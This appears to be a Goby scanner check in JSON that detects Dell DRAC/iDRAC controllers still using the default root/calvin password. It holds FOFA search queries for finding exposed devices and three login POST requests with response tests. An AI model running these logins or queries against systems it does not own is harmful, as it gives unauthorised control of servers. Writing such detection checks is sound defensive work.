{
  "Name": "Dell DARC Default Credentials",
  "Description": "The DARC administrator 'root' has a password that is set to the default value of 'calvin'. As a result, anyone with access to the DARC port can trivially gain full access to the machine via arbitrary remote code execution. ",
  "Product": "Dell-DRAC",
  "Homepage": "https://www.delltechnologies.com/en-us/solutions/openmanage/idrac.htm",
  "DisclosureDate": "2012-04-23",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "(cert=\"Remote Access Group\" || cert=\"iDRAC Group\") && cert=\"Dell Inc.\"",
  "GobyQuery": "(cert=\"Remote Access Group\" || cert=\"iDRAC Group\") && cert=\"Dell Inc.\"",
  "Level": "3",
  "Impact": "Remote attacker can use this default to control the server.",
  "Recommendation": "It is imperative to change default manufacturer passwords and restrict network access to critical and important systems.",
  "References": [
    "https://www.trustedsec.com/blog/owning-dell-drac-awesome-hack/"
  ],
  "HasExp": false,
  "ExpParams": [],
  "ExpTips": {
    "Type": "Tips",
    "Content": ""
  },
  "ScanSteps": [
    "OR",
	{
         "Request": {
           "data": "user=root&password=calvin",
           "data_type": "text",
           "follow_redirect": false,
           "header": {
             "Content-Type": "application/x-www-form-urlencoded"
           },
           "method": "POST",
           "uri": "/data/login"
         },
         "ResponseTest": {
           "checks": [
             {
               "bz": "",
               "operation": "contains",
               "type": "item",
               "value": "<authResult>0</authResult>",
               "variable": "$body"
             },
             {
               "bz": "The maximum number of user sessions has been reached!",
               "operation": "contains",
               "type": "item",
               "value": "<authResult>5</authResult>",
               "variable": "$body"
             }
           ],
           "operation": "OR",
           "type": "group"
         },
         "SetVariable": []
    },
    {
      "Request": {
        "data": "user=root&password=calvin&WEBSERVER_timeout=1800&WEBSERVER_timeout_select=1800",
        "data_type": "text",
        "follow_redirect": false,
        "header": {
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "method": "POST",
        "uri": "/cgi-bin/webcgi/login"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "/cgi-bin/webcgi/index",
            "variable": "$body"
          },
          {
            "bz": "no free session",
            "operation": "contains",
            "type": "item",
            "value": "Connection refused, maximum sessions already in use",
            "variable": "$body"
          }
        ],
        "operation": "OR",
        "type": "group"
      },
      "SetVariable": []
    },
    {
      "Request": {
        "data": "WEBVAR_USERNAME=root&WEBVAR_PASSWORD=calvin&WEBVAR_ISCMCLOGIN=0",
        "data_type": "text",
        "follow_redirect": false,
        "header": {
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "method": "POST",
        "uri": "/Applications/dellUI/RPC/WEBSES/create.asp"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "no free session",
            "operation": "contains",
            "type": "item",
            "value": "Failure_No_Free_Slot",
            "variable": "$body"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "'USERNAME' : 'root'",
            "variable": "$body"
          }
        ],
        "operation": "OR",
        "type": "group"
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": null,
  "Tags": [
    "defaultaccount"
  ],
  "CVEIDs": null,
  "CVSSScore": "10.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": ["Dell-DRAC"],
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}